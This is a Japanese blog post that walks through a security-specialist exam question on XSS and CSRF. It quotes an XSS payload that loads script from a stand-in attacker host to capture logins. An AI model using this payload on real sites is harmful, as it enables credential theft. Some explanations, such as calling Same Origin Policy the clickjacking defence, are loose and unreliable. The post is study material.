mk-toolブログ

エンジニアと家のことをごちゃごちゃと書いてます

【セスペ】平成28年度春期午後1問1解説

難易度:易

 

概要

WebアプリケーションにおいてXSSCSRFの理解を問う問題。

 

設問1

(1)

図6の4行目の「action」の中身に「https://wana.example.jp/login」という記述があります。このことから、「ログイン」ボタンを押下すると「「https://wana.example.jp/login」」へ遷移することになります。

回答は、FQDNで回答する必要があります。

FQDNとは完全修飾ドメイン名のことです。つまり、Webサーバの名前をホスト名もドメイン名も省略しないで書いてくださいということです。「https://wana.example.jp/login」のホスト名は「wana」、ドメイン名は「example.jp」といったところでしょうか。これを省略しないで書くので「wana.example.jp」が答えです。

 

(2)

画面2-2'を表示する際は「https://kensho.m-sha.co.jp/Gamen2_2?keyword="<script src =%22https://wana.example.jp/Login.js%22>"」によって表示されるため、URLのホスト部FQDNで「kensho.m-sha.co.jp」です。

 

(3)

フレームを使用すると、Webページ上に自身とは異なるコンテンツを表示することができます。しかしながら、これはクリックジャッキングという攻撃を引き起こす原因となります。本来表示されるページのボタンに覆いかぶさるように悪意のあるページのボタンがある場合は、クライアントはボタン押下後に悪意のあるページに遷移されてしまいます。これを防ぐために、「Same Origin Policy」という仕組みで防御されています。

 

(4)

図7のコードでは「Same Origin Policy」が役立ちません、と書いてあります。このことから、設問箇所では「kensho.m-sha.co.jp」内のページを読み込んでいることがわかります。さらに「?」パラメータを以降でwana.example.jpのヤバそうなjsを渡しています。図4の図では、画面2-2のソースコードがありますが「keyword」に対して不正なスクリプトを入れ込むと良さそうです。

そのため、答えは「https://kensho.m-sha.co.jp/Gamen2_2」と「keyword」です。

これだと、「frame」要素が2つあるから、画面3_7と画面2-2の2つが表示されるから異変に気づかれてしまうのではないかと考えるかと思いますが、パラメータで指定しているjsで図6の1行目のような「document.body.innerHTML=""」で画面2-2が出ないようにしているものと思われます。画面2-2を利用しているのはパラメータ「keyword」に対して不正なスクリプトを埋め込めるためです。

 

(5)

(4)でも少し触れましたが図7のパラメータにはヤバそうなjsが指定されていました。おそらくこのjsで画面3-7で情報抽出をして、悪意のあるサーバに対して情報を送るものと考えられます。ユーザの情報がjsによって抽出されるためには、ユーザがログインをしている必要があります。

そのため、「懸賞メンバとしてログインしている場合」が答えです。

 

設問2

(1)

CSRF攻撃は別名として「リクエスト強要」と呼ばれます。例えば悪意のあるサイトでボタンをクリックしたとします。ボタン押下時に「2ちゃんねる」にリクエストが強要されて勝手に書き込みをされてしまう、というのがSCRFです。そのため、「2ちゃんねる」側の立場では、その人が正規のルートを辿って書き込みを行っているかを確認する必要があります。

これを予想不可能なランダムな値をWebサイトのhiddenタグに埋め込み、リクエスト時にサーバの保持するランダムな値と突き合わせを行い、リクエストが悪いものでないかを評価します。

そのため答えは「ランダムな値」「hidden」です。

 

(2)

先ほどの「2ちゃんねる」の話ではありませんが、書き込みを行って書き込みボタンを押すような操作がある箇所が該当箇所になります。

答えは(ウ)です。

 

設問3

(1)

設問1(4)では画面2-2に対して直接悪意のあるスクリプトを埋め込んでおりました。そのため、画面2-1で入力値のチェックを行っても画面2-2に対して不正なスクリプトを埋め込まれる危険性は無くなりません。

そのため、答えは「攻撃者は画面2-1を経由せずに2-2にアクセスできるから」となります。 

 

(2)

画面2-2への不正なスクリプトの埋め込みはフロントエンドで精一杯不正できましたが、サーバ側で画面2-2を表示する際に入力値チェックを行うのが良いです。

答えは「サーバサイド」です。

 

(3)

なんだこれー!